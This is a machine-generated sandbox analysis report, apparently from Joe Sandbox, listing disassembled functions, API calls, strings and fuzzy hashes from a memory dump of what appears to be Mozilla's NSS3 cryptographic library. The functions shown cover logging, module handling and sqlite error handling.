Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$npl
API String ID: 1003633598-3316870515
Opcode ID: 8f866652ca4ca3ccde819871c08abc9bd7c7bb481c0579b50725ecac7357b92d
Instruction ID: ff9b93d57a1853b8d53b7c3bd17ef8cc65c4f3661439161e3d3e49ba114a0dd3
Opcode Fuzzy Hash: 8f866652ca4ca3ccde819871c08abc9bd7c7bb481c0579b50725ecac7357b92d
Instruction Fuzzy Hash: EA31C1B5611154AFEB109F64DD4CF9B7BB2AB4631CF884035E808A7B11DF34E948CB9A

Function 6C627F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C627F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C627F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C627F93

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C627FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C627FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C627FE1

Strings

npl, xrefs: 6C627FF9, 6C628027
(CK_INVALID_HANDLE), xrefs: 6C627F8C
C_VerifyFinal, xrefs: 6C627F51
hSession = 0x%x, xrefs: 6C627F6E, 6C627F7E
pSignature = 0x%p, xrefs: 6C627FC3
ulSignatureLen = %d, xrefs: 6C627FDC

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$npl
API String ID: 1003633598-1315854620
Opcode ID: 91c6a3c4faf76ce392bfb147ca815d60e624b47843dca93d99d76e25251263ae
Instruction ID: bb6f5774c18d827f2acbd1e1f3d9c29e3c53a79f877172c72d32d38ca36bb98f
Opcode Fuzzy Hash: 91c6a3c4faf76ce392bfb147ca815d60e624b47843dca93d99d76e25251263ae
Instruction Fuzzy Hash: F431D571A05154ABDB10DF14DD4CF9B7BB1AB4635DF884035E80857B11DF34A948CBAA

Function 6C5EAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C5EAF47

Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90AB
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90C9
Part of subcall function 6C6B9090: EnterCriticalSection.KERNEL32 ref: 6C6B90E5
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9116
Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B913F

FreeLibrary.KERNEL32(?), ref: 6C5EAF6D
free.MOZGLUE(?), ref: 6C5EAFA4
free.MOZGLUE(?), ref: 6C5EAFAA
PR_ExitMonitor.NSS3 ref: 6C5EAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C5EAFF5
PR_ExitMonitor.NSS3 ref: 6C5EB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C5EB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C5EB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C5EB03C

Strings

Unloaded library %s, xrefs: 6C5EB023
%s decr => %d, xrefs: 6C5EAFF0

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 6313dbc03e28440b42696bdee542c1d5f708e2ee68633569c2d9bfbed1f8c895
Instruction ID: e961833415f0a4408e5b45b15f43c647ae6460e3ece0840efe2fc10c289c5a8b
Opcode Fuzzy Hash: 6313dbc03e28440b42696bdee542c1d5f708e2ee68633569c2d9bfbed1f8c895
Instruction Fuzzy Hash: 853159B9B04111ABDB01EF70DC44A05BBB4EF0A31DB544235E81997B40FB32E824C7E6

Function 6C636C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C63781D,00000000,6C62BE2C,?,6C636B1D,?,?,?,?,00000000,00000000,6C63781D), ref: 6C636C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C63781D,?,6C62BE2C,?), ref: 6C636C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C63781D), ref: 6C636C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C636C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C636C96

Part of subcall function 6C5E1240: TlsGetValue.KERNEL32(00000040,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E1267
Part of subcall function 6C5E1240: EnterCriticalSection.KERNEL32(?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E127C
Part of subcall function 6C5E1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E1291
Part of subcall function 6C5E1240: PR_Unlock.NSS3(?,?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C636CAA

Strings

rdb:, xrefs: 6C636C69
extern:, xrefs: 6C636C7E
sql:, xrefs: 6C636C52
NSS_DEFAULT_DB_TYPE, xrefs: 6C636C91
dbm, xrefs: 6C636CA4
dbm:, xrefs: 6C636C3A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 13c7018a67e8ef858041c0cd8cf1d56f201afb4255fef5896066cd01a844bea3
Instruction ID: d342e6f0ca5d38ea58b1f1bc175d7fdb972a94fe0b58edf7e2093c813a91aa65
Opcode Fuzzy Hash: 13c7018a67e8ef858041c0cd8cf1d56f201afb4255fef5896066cd01a844bea3
Instruction Fuzzy Hash: 4801A7E170233167F600677A5E5EF66255CEF8125DF142532FE0CE1942FB96D61840A9

Function 6C644E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6078F8), ref: 6C644E6D

Part of subcall function 6C5E09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C5E06A2,00000000,?), ref: 6C5E09F8
Part of subcall function 6C5E09E0: malloc.MOZGLUE(0000001F), ref: 6C5E0A18
Part of subcall function 6C5E09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C5E0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6078F8), ref: 6C644ED9

Part of subcall function 6C635920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C637703,?,00000000,00000000), ref: 6C635942
Part of subcall function 6C635920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C637703), ref: 6C635954
Part of subcall function 6C635920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C63596A
Part of subcall function 6C635920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C635984
Part of subcall function 6C635920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C635999
Part of subcall function 6C635920: free.MOZGLUE(00000000), ref: 6C6359BA
Part of subcall function 6C635920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6359D3
Part of subcall function 6C635920: free.MOZGLUE(00000000), ref: 6C6359F5
Part of subcall function 6C635920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C635A0A
Part of subcall function 6C635920: free.MOZGLUE(00000000), ref: 6C635A2E
Part of subcall function 6C635920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C635A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644EB3

Part of subcall function 6C644820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C644EB8,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C64484C
Part of subcall function 6C644820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C644EB8,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C64486D
Part of subcall function 6C644820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C644EB8,?), ref: 6C644884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644EC0

Part of subcall function 6C644470: TlsGetValue.KERNEL32(00000000,?,6C607296,00000000), ref: 6C644487
Part of subcall function 6C644470: EnterCriticalSection.KERNEL32(?,?,?,6C607296,00000000), ref: 6C6444A0
Part of subcall function 6C644470: PR_Unlock.NSS3(?,?,?,?,6C607296,00000000), ref: 6C6444BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644F8F
PK11_UpdateSlotAttribute.NSS3(?,6C71DCB0,00000000), ref: 6C644FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C64501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C64506B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 54e562bc244e19f844703e08e34ef55f305de111439ef88582d71a5466b4e1a6
Instruction ID: f7ce75ef2ae3ab764a3b50b7156aee79ebf682d80e665d9180dffc9c504bcad7
Opcode Fuzzy Hash: 54e562bc244e19f844703e08e34ef55f305de111439ef88582d71a5466b4e1a6
Instruction Fuzzy Hash: E551F5B5D006059BEB01AF24DC01AAA36B5FF4631DF14C535EC0A86A11FB31D965CBDA

Function 6C5EACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5EACE2
malloc.MOZGLUE(00000001), ref: 6C5EACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5EAD02
TlsGetValue.KERNEL32 ref: 6C5EAD3C
calloc.MOZGLUE(00000001,?), ref: 6C5EAD8C
PR_Unlock.NSS3 ref: 6C5EADC0
free.MOZGLUE(00000000), ref: 6C5EAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5EAE58
free.MOZGLUE(00000000), ref: 6C5EAE69
free.MOZGLUE(?), ref: 6C5EAE78
PR_Unlock.NSS3 ref: 6C5EAE8C
free.MOZGLUE(?), ref: 6C5EAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5EAEC7

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: a0aa7d1888642d06b8102ebe90dd7ccc04dcc5b9957a7f020a12dc7784a5c099
Instruction ID: d388410bdaf1886ca0160b9579084854a8979b69fae0adaa692d5daee326e8f4
Opcode Fuzzy Hash: a0aa7d1888642d06b8102ebe90dd7ccc04dcc5b9957a7f020a12dc7784a5c099
Instruction Fuzzy Hash: A051C1B0E002169BDF00EF78CD456AE7BB4FB0A34AF544576D815A3B50DB31A908CBE6

Function 6C6C4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C6C4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6C4CFD
sqlite3_value_text16.NSS3(?), ref: 6C6C4D44

Strings

API call with %s database connection pointer, xrefs: 6C6C4CF6
invalid, xrefs: 6C6C4CF1
out of memory, xrefs: 6C6C4C78, 6C6C4C9E
unknown error, xrefs: 6C6C4D56
abort due to ROLLBACK, xrefs: 6C6C4D27, 6C6C4D33
no more rows available, xrefs: 6C6C4D2E
bad parameter or other API misuse, xrefs: 6C6C4D05
another row available, xrefs: 6C6C4D20

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 4607bcccdf9cc516bffd05573f43783b98c368855bc8bb1b75c43aa17b1ec56f
Instruction ID: 6ada415251ff45e854e5db0539204abdf7d5f966905af6ba06267aac4bcce62c
Opcode Fuzzy Hash: 4607bcccdf9cc516bffd05573f43783b98c368855bc8bb1b75c43aa17b1ec56f
Instruction Fuzzy Hash: F63134B2F08851A7D718D624A8017F5B3A5FB82318F650136D4284BE68CBA5BC52C3EF

Function 6C622CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C622CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C622D07

Part of subcall function 6C7009D0: PR_Now.NSS3 ref: 6C700A22
Part of subcall function 6C7009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C700A35
Part of subcall function 6C7009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C700A66
Part of subcall function 6C7009D0: PR_GetCurrentThread.NSS3 ref: 6C700A70
Part of subcall function 6C7009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C700A9D
Part of subcall function 6C7009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C700AC8
Part of subcall function 6C7009D0: PR_vsmprintf.NSS3(?,?), ref: 6C700AE8
Part of subcall function 6C7009D0: EnterCriticalSection.KERNEL32(?), ref: 6C700B19
Part of subcall function 6C7009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C700B48
Part of subcall function 6C7009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C700C76
Part of subcall function 6C7009D0: PR_LogFlush.NSS3 ref: 6C700C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C622D22

Part of subcall function 6C7009D0: OutputDebugStringA.KERNEL32(?), ref: 6C700B88
Part of subcall function 6C7009D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C700C5D
Part of subcall function 6C7009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C700C8D
Part of subcall function 6C7009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C700C9C
Part of subcall function 6C7009D0: OutputDebugStringA.KERNEL32(?), ref: 6C700CD1
Part of subcall function 6C7009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C700CEC
Part of subcall function 6C7009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C700CFB
Part of subcall function 6C7009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C700D16
Part of subcall function 6C7009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C700D26
Part of subcall function 6C7009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C700D35
Part of subcall function 6C7009D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C700D65
Part of subcall function 6C7009D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C700D70
Part of subcall function 6C7009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C700D90
Part of subcall function 6C7009D0: free.MOZGLUE(00000000), ref: 6C700D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C622D3B

Part of subcall function 6C7009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C700BAB
Part of subcall function 6C7009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C700BBA
Part of subcall function 6C7009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C700D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C622D54

Part of subcall function 6C7009D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C700BCB
Part of subcall function 6C7009D0: EnterCriticalSection.KERNEL32(?), ref: 6C700BDE
Part of subcall function 6C7009D0: OutputDebugStringA.KERNEL32(?), ref: 6C700C16

Strings

ulPinLen = %d, xrefs: 6C622D36
npl, xrefs: 6C622D6C, 6C622D9A
slotID = 0x%x, xrefs: 6C622D02
C_InitToken, xrefs: 6C622CE7
pLabel = 0x%p, xrefs: 6C622D4F
pPin = 0x%p, xrefs: 6C622D1D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$npl
API String ID: 420000887-1214842499
Opcode ID: 15bac484cf770fa681e59da9e4c9f95bc299d7dfb5e295835255a921a3488560
Instruction ID: 61b363231b9dfef1397a1be2a95f86fbf22b7360701ba35016622e75a9a03f0a
Opcode Fuzzy Hash: 15bac484cf770fa681e59da9e4c9f95bc299d7dfb5e295835255a921a3488560
Instruction Fuzzy Hash: 5B21F875210144EFEB009F54DE4CA863FF1EB8232DF844831E50893622DF349918CFA2

Function 6C6C2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6C2D9F

Part of subcall function 6C57CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5DF9C9,?,6C5DF4DA,6C5DF9C9,?,?,6C5A369A), ref: 6C57CA7A
Part of subcall function 6C57CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C57CB26

sqlite3_exec.NSS3(?,?,6C6C2F70,?,?), ref: 6C6C2DF9
sqlite3_free.NSS3(00000000), ref: 6C6C2E2C
sqlite3_free.NSS3(?), ref: 6C6C2E3A
sqlite3_free.NSS3(?), ref: 6C6C2E52
sqlite3_mprintf.NSS3(6C72AAF9,?), ref: 6C6C2E62
sqlite3_free.NSS3(?), ref: 6C6C2E70
sqlite3_free.NSS3(?), ref: 6C6C2E89
sqlite3_free.NSS3(?), ref: 6C6C2EBB
sqlite3_free.NSS3(?), ref: 6C6C2ECB
sqlite3_free.NSS3(00000000), ref: 6C6C2F3E
sqlite3_free.NSS3(?), ref: 6C6C2F4C

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 64a1319b18d8cefe16a077b129d54e32e5cd506a38a3ebc1227e61679c2d0b33
Instruction ID: 42eb180719511b4a2e0724fcae59edbca85f0f256b743077fd5a5c37916ed303
Opcode Fuzzy Hash: 64a1319b18d8cefe16a077b129d54e32e5cd506a38a3ebc1227e61679c2d0b33
Instruction Fuzzy Hash: C1616BB5F012058BEB10CFA8D884B9EB7F1EF99348F145028EC55A7701E735E845CBA6

Function 6C607C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C752120,Function_00097E60,00000000,?,?,?,?,6C68067D,6C681C60,00000000), ref: 6C607C81

Part of subcall function 6C574C70: TlsGetValue.KERNEL32(?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574C97
Part of subcall function 6C574C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CB0
Part of subcall function 6C574C70: PR_Unlock.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CC9

TlsGetValue.KERNEL32 ref: 6C607CA0
EnterCriticalSection.KERNEL32(?), ref: 6C607CB4
PR_Unlock.NSS3 ref: 6C607CCF

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

TlsGetValue.KERNEL32 ref: 6C607D04
EnterCriticalSection.KERNEL32(?), ref: 6C607D1B
realloc.MOZGLUE(-00000050), ref: 6C607D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C607DF4
PR_Unlock.NSS3 ref: 6C607E0E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
